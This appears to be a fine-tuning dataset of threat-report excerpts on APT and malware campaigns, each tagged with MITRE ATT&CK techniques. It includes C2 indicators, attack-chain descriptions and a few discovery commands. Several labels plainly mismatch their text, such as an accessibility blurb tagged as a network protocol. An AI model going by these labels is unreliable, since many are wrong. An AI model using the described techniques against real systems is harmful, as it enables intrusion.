"The NetWire payloads in all observed campaigns included nearly identical configurations. Specifically, the C2 domain clients[.]enigmasolutions[.]xyz and the password were the same",['T1105 - Ingress Tool Transfer'],fine_tune
"Upon exploitation, a GH0ST RAT variant is delivered to the victims’ system, which calls out to a previously known APT18 CnC address 223.25.233.248. GH0ST RAT is a backdoor derived from public source code","['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs', 'T1059 - Command and Scripting Interpreter']",fine_tune
"If the attack progresses, the user will be taken to the download of an MS Word document containing malicious macros that has very low detection rate at the moment of this campaign delivery. From a metadata standpoint, the document does not include any specific signal or characteristic that would help us tracking documents from the same author, as shown in Figure 6","['T1566.001 - Phishing: Spearphishing Attachment', 'T1059.005 - Command and Scripting Interpreter: Visual Basic']",fine_tune
"Each Casbaneiro sample using this method has the buyer’s ID hardcoded in its data. When it downloads such configuration file, it parses it and finds the line that is intended for the specific buyer’s ID and downloads and executes the payload","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1105 - Ingress Tool Transfer']",fine_tune
"However, while the malware used in these new attacks uses similar infection mechanisms to PlugX, it is a completely new tool with its own specific behavior patterns and architecture. We have named this tool “BBSRAT. Targeting and Infrastructure . As described in earlier reports on “Roaming Tiger”, the attack observed in August 2015 used weaponized exploit documents that leave Russian language decoy document files after infecting the system. Figure 2 confirms that the decoy document that opens after the malware infects the system is indeed a list of international exhibitions that were conducted on Russian territory in 2015. Analysis of the command and control (C2) infrastructure shows that the newly discovered samples of BBSRAT used the same C2 domains as previously published in the “Roaming Tiger” campaign, including transactiona[.]com and futuresgold[.]com. This may indicate that for the newer attack campaign using BBSRAT, the adversary may have deployed purpose-built variants and/or infrastructure for each of the intended targets. As we can see, the second command is specifically crafted to run on 64-bit versions of Microsoft Windows. Every subsequent request made by BBSRAT increments this counter by one. The following commands and sub-commands have been identified: Please refer to the appendix for a full list of identified BBSRAT samples and their associated C2 servers. Despite the fact that the information about these attackers has been public for over a year, including a listing of many of the command and control servers, they continue to reuse much of their exposed playbook",['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],fine_tune
"This DLL has no other noticeable characteristics, as it functions like a typical malicious sideload. After loading the encrypted payload in memory, it transfers the execution to a shellcode that is located at the beginning of the file. Once loaded in memory, the ZeroT shellcode does not present any kind of obfuscation, unlike that for PlugX. This shellcode is charged with unpacking the encrypted and compressed payload. As in the new PlugX dropper detailed below, this is done using RC4 and RtlDecompressBuffer. As in PlugX samples, the PE header of ZeroT has been tampered with, specifically the “MZ” and “PE” constants (Fig",['T1573.001 - Symmetric Cryptography'],fine_tune
"All trusted domains, domains, and domain controllers - A list of computers and network devices on the network - The infected machine user and groups the user belongs to - The infected machine, including machine name, operating system, workstation domain, and more information - Network adapters that have connected to the machine and DNS servers","['T1069 - Permission Groups Discovery', 'T1033 - System Owner/User Discovery', 'T1016 - System Network Configuration Discovery']",fine_tune
"So this method uses psexec itself to copy the payload over the network, overwrite earlier versions (if found), and run it without waiting for any response",['T1570 - Lateral Tool Transfer'],fine_tune
"Sleeps the downloader. After that, it downloads a file from Discord. The downloaded file is in reverse byte order. Downloads file from Discord. The downloader restores the downloaded file by reversing the bytes within the file. Method that reverses the downloaded file. The restored file is a DLL and serves as the third stage of the infection chain. Retrieving third-stage public methods using Type.GetMethods","['T1105 - Ingress Tool Transfer', 'T1027 - Obfuscated Files or Information']",fine_tune
"The link “Check” led to a Google Docs page, which contained a link that redirected to a ZIP file. The ZIP file was hosted on a likely compromised SharePoint account and contained Domenus VBS, which downloads Harpy from https[:]//fashionableeder[.]com/info. At one victim, CARBON SPIDER subsequently deployed the aforementioned custom PS Sekur stager and profiled the Active Directory environment using the utility ADFind",['T1204.001 - Malicious Link'],fine_tune
"1) Cannon gathers system information and saves it to a file named ini. The Trojan sends an email to sahro.bella7[at]post.cz with i.ini as the attachment, S_inf within the body and a subject with a unique system identifier via SMTPS from one of the following accounts: Bishtr.cam47 Lobrek.chizh Cervot.woprov 2) Bishtr.cam47 3) Lobrek.chizh 4) Cervot.woprov",['T1082 - System Information Discovery'],fine_tune
"Additionally, the website utilizes an AI-based application that runs in the background and optimizes its accessibility level constantly. This application remediates the website’s HTML, adapts its functionality and behavior for screen-readers used by blind users, and for keyboard functions used by individuals with motor impairments",['T1095 - Non-Application Layer Protocol'],fine_tune
"ESTSecurity inspected a malicious lure document discussing North Korean defectors. This lure document contained a UPX packed binary that reached out to wave[.]posadadesantiago[.]com. Based upon their report we believe SHA256: 252d1b7a379f97fddd691880c1cf93eaeb2a5e5572e92a25240b75953c88736c, either is or is strikingly similar to the document discussed in their blog post based on these similarities",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"The xmrig mining process joins the supportxmr mining pool using the wallet address 428uyvSqdpVZL7HHgpj2T5SpasCcoHZNTTzE3Lz2H5ZkiMzqayy19sYDcBGDCjoWbTfLBnc3tc9rG4Y8gXQ8fJiP5tqeBda. At the time of writing, the malware campaign has ~25.05 KH/s hashing power and there is 11 XMR (~$1,500) in the wallet",['T1496 - Resource Hijacking'],fine_tune
"The primary goal of the Dark Halo threat actor was to obtain the e-mails of specific individuals at the think tank. This included a handful of select executives, policy experts, and the IT staff at the organization. Volexity notes its investigations are directly related to the FireEye report based on overlap between command-and-control (C2) domains and other related indicators such as a backdoored server running SolarWinds Orion",['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
"Finally, it creates and runs a shell script at /tmp/.server.sh, which also establishes a reverse shell","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.004 - Command and Scripting Interpreter: Bash']",fine_tune
As with campaigns attributed to BlackEnergy group the attackers used spearphishing emails with Microsoft Excel documents attached that contain malicious macros as an initial infection vector. This time malicious documents don’t have any content with social engineering directing potential victims to click an Enable Content button,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs. 4) The .lnk file uses an embedded VBScript component to retrieve a decoy PDF file and a PowerShell script from the adversary-controlled web page. 5) The PowerShell script creates a Cobalt Strike stager payload. This PowerShell script also retrieves an XOR-encoded Cobalt Strike beacon payload from an adversary-controlled domain. 6) The Cobalt Strike Beacon implant beacons to the command-and-control (C2) IP address, which is used to remotely control the implant",['T1027 - Obfuscated Files or Information'],fine_tune
"When executing the code, the browser creates an invisible image tag and sets the URL to an attack server using the file:// protocol scheme. On Windows machines, this triggers a request to a remote server via the Samba networking protocol (SMB) that also transmits the user’s login NTLM hash. These hashes can be cracked to retrieve the original login password by methods of brute-force, dictionary, or rainbow table lookups","['T1003.004 - OS Credential Dumping: LSA Secrets', 'T1552.001 - Unsecured Credentials: Credentials In Files', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1003.005 - OS Credential Dumping: Cached Domain Credentials', 'T1555 - Credentials from Password Stores', 'T1003.001 - OS Credential Dumping: LSASS Memory']",fine_tune
"The ProgramArguments tell us where GrowlHelper is installed and that it takes at least one command line argument (-f). The RunAtLoad key confirms the implant will run every time the user logs in. To get an overview of the installation process, we can monitor file system activity for GrowlHelper events",['T1546.004 - Event Triggered Execution: .bash_profile .bashrc and .shrc'],fine_tune
"TrickBot has arguably been one of the most popular Trojans for the past couple of years, used by threat actors mostly because of its modular design and highly resilient infrastructure. Bitdefender researchers even analyzed one of its modules earlier this year, particularly because it targeted telecom, education, and financial services in the US and Hong Kong",['T1090.002 - External Proxy'],fine_tune
"When executed, BoomBox ensures that a directory named NV is present in its current working directory; otherwise it terminates. If the directory is present, BoomBox displays the contents of the NV directory in a new Windows Explorer window (leaving it up to the user to open the PDF file","['T1480 - Execution Guardrails', 'T1083 - File and Directory Discovery', 'T1480 - Execution Guardrails', 'T1480 - Execution Guardrails']",fine_tune
"Like many other phishing attacks, in this phishing campaign, Charming Kitten uses a fake SMS (Figure 1) to trick their victims. They send confirmation messages stating ‘Google Account Recovery’ to their targets; they claim these messages are sent by Google and the user must follow the link in the SMS to confirm the identity",['T1598.003 - Spearphishing Link'],fine_tune
"Viewing results Commands scheduled with at run as background processes. Output is not displayed on the computer screen. To redirect output to a file, use the redirection symbol (&gt;). If you redirect output to a file, you need to use the escape symbol (^) before the redirection symbol, whether you are using at at the command line or in a batch file. For example, to redirect output to Output.text, type: at 14:45 c:\test.bat ^&gt;c:\output.txt The current directory for the executing command is the systemroot folder. Changing system time If you change the system time at a computer after you schedule a command to run with at, synchronize the at scheduler with the revised system time by typing at without command-line options. Storing commands Scheduled commands are stored in the registry. As a result, you do not lose scheduled tasks if you restart the Schedule service. Connecting to network drives Do not use a redirected drive for scheduled jobs that access the network. The Schedule service might not be able to access the redirected drive, or the redirected drive might not be present if a different user is logged on at the time the scheduled task runs. Instead, use UNC paths for scheduled jobs",['T1053.002 - Scheduled Task/Job: At'],fine_tune
"BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"BITSAdmin is a command-line tool that you can use to create download or upload jobs and monitor their progress. For full, comprehensive documentation of the tool and all of its commands, see bitsadmin and bitsadmin examples in the Windows IT Pro Center",['T1105 - Ingress Tool Transfer'],fine_tune
"Once the malware starts it tries to reach a hardcoded C2. The communication takes place using the unmodified HTTP-based protocol, the request and response body are RC4-encrypted, and the encryption key is also hardcoded into the sample. As the result of the RC4 encryption may contain binary data, the malware additionally encodes it in BASE64, to match the HTTP specification",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"TG-3390 uses DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL. The DLL acts as a stub loader, which loads and executes the shell code. The adversaries have used this technique to allow PlugX and HttpBrowser to persist on a system",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"1) User must open the Microsoft Word email attachment 2) User must scroll to page three of the document, which will run the DealersChoice Flash object 3) The Flash object must contact an active C2 server to download an additional Flash object containing exploit code 4) The initial Flash object must contact the same C2 server to download a secondary payload 5) Victim host must have a vulnerable version of Flash installed",['T1203 - Exploitation for Client Execution'],fine_tune
"This agent also built in a function aptly named “DeleteLeftovers,” to remove certain artifacts of the attack",['T1070 - Indicator Removal on Host'],fine_tune
"In addition to the aforementioned DOCX file, we found another related DDE enabled document based on an infrastructure overlap with a Zebrocy C2 IP address. This related delivery document was an RTF file that downloaded and installed a payload used to load the open-source Koadic tool. We do not have telemetry on the target or attack vector, but we know the RTF file used DDE to download and execute an executable that loaded Koadic. We believe the actor used a cryptor on the payload, as it obtains a filename and script from within its resources and decodes these resources by multiplying each byte by negative one. The payload then uses the MD5 hash (14331d289e737093994395d3fc412afc) of what appears to be a hardcoded SHA1 hash (B6A75B1EF701710D7AEADE0FE93DE8477F3BD506) as an RC4 key to decrypts the resulting decoded data. The embedded VBScript is retrieved from a resource and decrypted using the same algorithm as discussed above, which results in the following cleartext",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Impersonation using Kerberos pass-the-ticket attacks (Mimikatz PowerShell) - Email extraction from the MS Exchange Server using compromised credentials - Archiving sensitive information - Data exfiltration via legitimate cloud services - Secure file deletion,"['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1550.003 - Use Alternate Authentication Material: Pass the Ticket', 'T1114.002 - Email Collection: Remote Email Collection', 'T1078 - Valid Accounts']",fine_tune
Computer name - System info using: cmd /c systeminfo &gt;%temp%\temp.ini - List of currently running process using: cmd /c tasklist &gt;%temp%\temp.ini,['T1082 - System Information Discovery'],fine_tune
"Different drivers will be loaded based on the system version. The malware uses IsWow64Process to determine which driver version to load. These drivers are stored in the resource section of the binary and are compressed with the Lempel-Ziv algorithm. The driver file is written to system32\drivers with a 4-character, pseudo-randomly generated name. This file is then decompressed using LZCopy to a new file with a “.sys” extension","['T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
The main purpose of P8RAT is downloading and executing payloads (consisting of PE and shellcode) from its C2 server,['T1001.001 - Junk Data'],fine_tune
"Throughout 2017 and 2018 Unit 42 has been tracking and observing a series of highly targeted attacks focused in South East Asia, building on our research into the KHRAT Trojan. Based on the evidence, these attacks appear to be conducted by the same set of attackers using previously unknown malware families. In addition, these attacks appear to be highly targeted in their distribution of the malware used, as well as the targets chosen. We believe this group is previously unidentified and therefore have we have dubbed it “RANCOR”. The Rancor group’s attacks use two primary malware families which we describe in depth later in this blog and are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers’ toolkit. Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to","['T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1105 - Ingress Tool Transfer']",fine_tune
"To avoid detection, the macros employ simple obfuscation of interesting strings that ultimately just used base64 encoding. However, it used a somewhat unusual method where it would first convert the base64-encoded text into hex, and then convert that hex into a text string",['T1027 - Obfuscated Files or Information'],fine_tune
Some additional log file analysis reveals that a dotm file hosted with a. jpg extension was accessed by an Israeli IP address. This IP address likely belongs to a victim in Israel that executed the main DOCX. Based on the analysis of the user-agent string belonging to the Israel IP address Microsoft+Office+Existence+Discovery indicates that the dotm file in question was downloaded from within Microsoft Office (template injection,['T1480 - Execution Guardrails'],fine_tune
"1) It uses the application programming interface (API) CreateFileA to \\.\PHYSICALDRIVE0 to retrieve the handle of the hard disk. 2) It overwrites the first sector of the disk (512 bytes) with ""0x00"". The first sector is the disk’s MBR. 3) It will try to perform the routines above (steps 1-2) on \\.\PHYSICALDRIVE1, \\.\PHYSICALDRIVE2, \\.\PHYSICALDRIVE3, and so on, as long as a hard disk is available",['T1082 - System Information Discovery'],fine_tune
"Upon further inspection, Kroll learned that an employee using their work computer had clicked on a malicious link from their personal email account that downloaded a Qakbot dropper",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"This activity has TTP and targeting overlap with previous activity, suspected to be APT29. The 2018 and 2016 LNK files are similar in structure and code, and contain significant metadata overlap, including the MAC address of the system on which the LNK was created","['T1204.001 - Malicious Link', 'T1566.001 - Phishing: Spearphishing Attachment']",fine_tune
"APT19 used three different techniques to attempt to compromise targets. Toward the end of May, APT19 switched to using macro-enabled Microsoft Excel (XLSM) documents. In the most recent versions, APT19 added an application whitelisting bypass to the XLSM documents",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
"WastedLocker aims to encrypt the files of the infected host. However before the encryption procedure runs, WastedLocker performs a few other tasks to ensure the ransomware will run properly",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
Attempted to blend in with a file name that matched the system name it resided on - Configured for WMI persistence (generally uncommon in 2019) - Used likely compromised infrastructure for C2 - Masquerades its command-and-control (C2) traffic as legitimate Google Notifications HTTP requests,"['T1071.001 - Application Layer Protocol: Web Protocols', 'T1001 - Data Obfuscation']",fine_tune
"In most systems compromised by Kobalos, the SSH client is compromised to steal credentials. This credential stealer is unlike any of the malicious OpenSSH clients we’ve seen before, and we’ve looked at tens of them in the past eight years. The sophistication of this component is not the same as Kobalos itself: there was no effort to obfuscate early variants of the credential stealer. However, we found newer variants that contain some obfuscation and the ability to exfiltrate credentials over the network",['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
The C2 server can also send a PowerShell command to capture and store a screenshot of a victim’s system. POWRUNER will send the captured screenshot image file to the C2 server if the “fileupload” command is issued. Figure 6 shows the PowerShell “Get-Screenshot” function sent by the C2 server,['T1113 - Screen Capture'],fine_tune
"At installation, the MSI file drops three files and creates one hidden directory (UFile) into C:\ProgramData\Apple\Update\, likely as a ruse","['T1564.001 - Hide Artifacts: Hidden Files and Directories', 'T1564.001 - Hide Artifacts: Hidden Files and Directories']",fine_tune
"On execution, the MSI downloader starts by checking if it is running in a virtual machine. If not, downloads a zip file, unzips it, deletes itself, establishes persistency and restarts the system","['T1140 - Deobfuscate/Decode Files or Information', 'T1102.003 - One-Way Communication']",fine_tune
"ServHelper’s payload, an NSIS Installer signed with a valid digital signature (further details on the certificate ahead), is downloaded by msiexec.exe to its temporary folder (C:\Windows\Installer\MSI[4-charachter-string].tmp) and executed",['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
"secretsdump.py: Performs various techniques to dump secrets from the remote machine without executing any agent there. For DIT files, we dump NTLM hashes, Plaintext credentials (if available) and Kerberos keys using the DL_DRSGetNCChanges() method. It can also dump NTDS.dit via vssadmin executed with the smbexec/wmiexec approach. mimikatz.py: Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi","['T1003.004 - OS Credential Dumping: LSA Secrets', 'T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.003 - OS Credential Dumping: NTDS', 'T1003.001 - OS Credential Dumping: LSASS Memory']",fine_tune
"To recap, on September 18, 2017, we disclosed that CCleaner had been targeted by cybercriminals, in order to distribute malware via the CCleaner installation file. The altered installation file was downloaded by 2.27 million CCleaner customers worldwide. The malware was introduced to the build server of Piriform, the company developing CCleaner, some time between March 11 and July 4, 2017, prior to Avast’s acquisition of Piriform on July 18, 2017",['T1195.002 - Compromise Software Supply Chain'],fine_tune
"These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet reachable mail services. After obtaining a valid account, they use this account to access the victim’s VPN, Citrix or another remote service that allows access to the network of the victim. Information regarding these remotes services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account. As soon as they have a foothold on a system (also known as patient zero or index case), they check the permissions of the account on that system, and attempt to obtain a list of accounts with administrator privileges. With this list of administrator-accounts, the adversary performs another password spraying attack until a valid admin account is compromised. From here on the adversary stops using the victim’s remote service to access the victim’s network, and starts using the Cobalt Strike beacon for remote access and command and control",['T1082 - System Information Discovery'],fine_tune
"This dynamic link library appears to be a legitimate version of libcurl.dll except for a single exported function, which is referred to as ordinal #52 and curl_share_init in the analyzed sample. This function has been modified by threat actors to extract a resource contained within libcurl.dll, decrypt malicious data included in that resource, and load the resulting DLL to execute a malicious function. When this function is executed, the SodomNormal communications module begins running within Libcurl.dll",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Wscript.exe does a number of things: It deletes the original QakBot.vbs and writes four files to disk in %APPDATA% induce.flac, pep.csv, rhythm.tex and senate.m4a. Senate.m4a is deleted after full process execution",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
These privilege escalation modules are the ones we caught when we queried for Jian’s global configuration table. We also found a couple of more Local Privilege Escalation exploits from the NtElevation series,['T1068 - Exploitation for Privilege Escalation'],fine_tune
"First, several of these commands contain checks to determine the environment in order to use appropriate paths or commands. The ‘tasklist’ command will use a WMI query or the “ps” command, which allows Kazuar to obtain running processes from both Windows and Unix systems. Also, Kazuar’s ‘cmd’ command will run commands using “cmd.exe” for Windows systems and “/bin/bash” for Unix systems. These two commands provide evidence that the authors of Kazuar intended to use this malware as a cross-platform tool to target both Windows and Unix systems",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
All the commands received from the C2 are first saved to an auxiliary file and then stored encrypted in the system registry. The standalone thread will decrypt and execute them,"['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1047 - Windows Management Instrumentation']",fine_tune
sifo – Collect victim system information - drive – List drives on victim machine - list – List file information for provided directory - upload – Upload a file to the victim machine - open – Spawn a command shell,"['T1082 - System Information Discovery', 'T1083 - File and Directory Discovery', 'T1105 - Ingress Tool Transfer', 'T1082 - System Information Discovery', 'T1083 - File and Directory Discovery']",fine_tune
The buffer containing the ZxShell Dll in the new location is freed using the VirtualFree API function. A handle to the DLL file is taken in order to make its deletion more difficult. The ZxShell mutex is created named @_ZXSHELL_,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"Use of Open Source Tools In an attempt to avoid detection and as an anti-analysis tactic, the OilRig group abused an open source tool called Invoke-Obfuscation to obfuscate the code used for QUADAGENT. Invoke-Obfuscation is freely available via a Github repository and allows a user to change the visual representation of a PowerShell script simply by selecting the desired obfuscation techniques. Invoke-Obfuscation offers a variety of obfuscation techniques, and by analyzing the script we were able to ascertain the specific options in this attack. After identifying the specific options used to obfuscate QUADAGENT, we were able to deobfuscate the PowerShell script and perform additional analysis. We found two obfuscation techniques applied to the script: the first one changing the representation of variables; the second one changing the representation of strings in the script. Invoke-Obfuscation calls the string obfuscation used by the actors to further obfuscate this script Reorder, which uses the string formatting functionality within PowerShell to reconstruct strings from out of order substrings (ex. 1}{0}"" -f 'bar','foo'). During our analysis, we installed Invoke-Obfuscation and used it to obfuscate a previously collected QUADAGENT sample to confirm our analysis",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Further into the infection process, the malware chooses a service name randomly from netsvc in order to use it for the payload creation path. The malware then creates a file named bcdbootinfo.tlp in the system folder containing the infection time and the random service name that is chosen. We’ve discovered that the malware operator checks this file to see whether the remote host was infected and, if so, when the infection happened",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Between August 2 and 4, the actor sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors",['T1204.001 - Malicious Link'],fine_tune
"The module gathers information about the user and attempts to verify whether this is a local admin or a domain admin. This shows that after infecting the machine, Valak chooses to target mainly administrators and domain admins. This indicates a propensity to target higher profile accounts such as enterprise admins","['T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account']",fine_tune
The initial routine decrypts selected parts of the code section using XOR with a hardcoded value,['T1027 - Obfuscated Files or Information'],fine_tune
"A second method consists to use the CredEnumerateW Windows API. Finally, Perfc.dat contains three embedded executables in its resource section which are compressed with zlib. Two of the executables are used to recover user credentials (32 and 64 bits) while the third one is the PsExec binary",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"It can download and execute arbitrary code provided from the C&amp;C server, as well as maintain a virtual file system (VFS) inside the registry. The VFS, and any additional files created by the code, are encrypted and stored in a location unique to each victim",['T1027 - Obfuscated Files or Information'],fine_tune
"In June 2015, a number of web portal email accounts were hacked, sending emails with malicious Hangul document files and phishing emails to steal portal account credentials. In January 2016, a large number of emails with malicious attachments were sent under the guise of ‘Office of National Security at the Blue House’ to government research institutes. Analysis by related organizations identified the malicious attachment as Kimsuky malware [3",['T1586.002 - Email Accounts'],fine_tune
"Both malicious programs share the code for LZMA compression algorithm. In CloudAtlas it is used to compress the logs and to decompress the decrypted payload from the C&amp;C servers, while in Red October the “scheduler” plugin uses it to decompress executable payloads from the C&amp;C","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1059.005 - Command and Scripting Interpreter: Visual Basic']",fine_tune
"X-Session: 0""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. The malware can be configured to use multiple network protocols to avoid network-based detection. DLL side loading is often used to maintain persistence on the compromised system. Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures. DLL side loading has been used to maintain persistence on the compromised system. More information about HttpBrowser is available in Appendix B. HttpBrowser URI. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. TG-3390 has used additional web shells containing similarly formatted passwords",['T1071.004 - Application Layer Protocol: DNS'],fine_tune
"Similar to RIPTIDE campaigns, APT12 infects target systems with HIGHTIDE using a Microsoft Word (.doc) document that exploits CVE-2012-0158. FireEye observed APT12 deliver these exploit documents via phishing emails in multiple cases. Based on past APT12 activity, we expect the threat group to continue to utilize phishing as a malware delivery method",['T1203 - Exploitation for Client Execution'],fine_tune
"The screenshot in Figure 8 of the inf method within a Cannon sample (SHA256: 4405cfbf28. ) shows the information gathered that is exfiltrated to the C2 via email, specifically with RunningPlace and LogicalDrives header strings",['T1082 - System Information Discovery'],fine_tune
"The second generation (2.x) was used to conduct an attack which we investigated during its active stage. We successfully prevented data transfer to the cybercriminals’ server and isolated the infected systems in the company’s local network. The incidents, as well as results of our investigation, are described in the full report on the Winnti group (PDF",['T1014 - Rootkit'],fine_tune
"Conficker will copy itself with a random name into the system directory %systemroot%\system32 and register itself as a service. The remote computer will then download the worm from the URL given and then start to infect other machines as well. Upon successful infection, it will also patch the hole to prevent other worms to infect the machine"" (Racicot","['T1046 - Network Service Discovery', 'T1112 - Modify Registry']",fine_tune
"On October 28, we observed APT3 sending out spearphishing messages containing a compressed executable attachment. The deflated exe was a variant of the same downloader described above and connected to 198.55.115.71 over port 1913 via SOCKS5 proxy. The secondary payload in that case was detected as Backdoor.APT.CookieCutter (aka Pirpi) and also named newnotepad.exe (MD5 8849538ef1c3471640230605c2623c67) and connected to the known APT3 domains","['T1090.002 - External Proxy', 'T1095 - Non-Application Layer Protocol']",fine_tune
You are using Microsoft Internet Explorer. We recommend using Chrome or Firefox for the best experience,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data",['T1573.001 - Symmetric Cryptography'],fine_tune
"We named Lazarus the most active group of 2020. We’ve observed numerous activities by this notorious APT group targeting various industries. The group has changed target depending on the primary objective. Google TAG has recently published a post about a campaign by Lazarus targeting security researchers. We have seen Lazarus attack various industries using this malware cluster before. In mid-2020, we realized that Lazarus was launching attacks on the defense industry using the ThreatNeedle cluster, an advanced malware cluster of Manuscrypt (a.k.a. NukeSped). While investigating this activity, we were able to observe the complete life cycle of an attack, uncovering more technical details and links to the group’s other campaigns","['T1005 - Data from Local System', 'T1566.002 - Phishing: Spearphishing Link', 'T1204.002 - User Execution: Malicious File']",fine_tune
"Once the initial computer on the targeted organization’s network is infected with Vcrodat, Whitefly begins mapping the network and infecting further computers. The attackers rely heavily on tools such as Mimikatz to obtain credentials. Using these credentials, the attackers are able to compromise more machines on the network and, from those machines, again obtain more credentials","['T1588.002 - Tool', 'T1068 - Exploitation for Privilege Escalation']",fine_tune
The diagram below illustrates the methodology used by the actor to communicate with the FoggyWeb backdoor located on a compromised internet-facing AD FS server,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
id — the generated unique identifier of the infected host - message — the Base64-encoded output from the newly created cmd.exe console process,['T1027 - Obfuscated Files or Information'],fine_tune
"The archive contains a legitimate older version of Microsoft Word (Microsoft Word 2007) executable file that is named ‘Noi dung chi tiet don khieu nai gui cong ty.exe’ which translates to ‘Learn more about how to use your company’ in English. The attacker used the DLL side loading technique to load a malicious DLL by the older version of Microsoft Word. When opening the executable file in the archive, it loads the malicious DLL in the same directory. The DLL executes multi-stage shellcodes and each shellcode employs various technique to hide the next stage",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Summary In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents. Attacks using Bisonal have been blogged about in the past. We believe it is likely these tools are being used by one group of attackers. Though Bisonal malware has been in the wild for at least seven years and frequently updated, the actors keep using same high-level playbooks. Common features of attacks involving Bisonal include",['T1105 - Ingress Tool Transfer'],fine_tune
"After decoding the PDF and AppleSeed payload, the content gets written into the ProgramData directory. At the end, the decoy PDF file is opened by calling Wscript.Shell.Run and the AppleSeed payload executed through PowerShell by calling regsvr32.exe. Calling regsvr32.exe to run a DLL registers it as a server that automatically calls the DLL export function that has been named DllRegisterServer",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
"To illustrate a real example of how this worked and looked to a website visitor, the following section will use one of the few pages of the fake site baomoivietnam[.]com that was designed to profile visitors and deliver malware or a phishing link. On this site, a news story (https://www.baomoivietnam[.]com/dai-hoc-ton-duc-thang-hieu-truong-lam-quyen-de-xay-ra-sai-pham/) about an investigation into potential improper conduct by a university professor in Vietnam contained malicious content. Once the page was accessed, a special OceanLotus server on the hostname cdn.arbenha[.]com would be leveraged to load malicious JavaScript to load a fake video player. At first, the page would display a dialog indicating that the video was loading (Đang tải) as shown in Figure 1 below",['T1598.003 - Spearphishing Link'],fine_tune
"In November 2019, when MegaCortex v4 appeared, there was a rollback of sorts, bringing the Base64 key back into play and using it to decrypt the malware’s components. The implementation was not the same as previous versions, with that Base64 key embedded into the binary and then passed to a decrypting function instead of passing it as an argument to the command-line",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
The script sets up a new HTTP object and then tries to disable the system's local proxy settings,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"Bisonal main module The DLL (pvcu.dll) is Bisonal malware but using a different cipher for C2 communication that other publicly documented samples. Booz Allen Hamilton in 2014 and AhnLab in 2015 reported on Bisonal using a simple XOR cipher to hide the C2 address strings in the body. The Bisonal sample we observed in this case employs the RC4 cipher with the key “78563412”. To date, all Bisonal samples we have seen using RC4 use this same key. The oldest sample we have dates to 2014, so this variant has been in the wild for several years. For example, the Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2","['T1082 - System Information Discovery', 'T1071.001 - Application Layer Protocol: Web Protocols', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
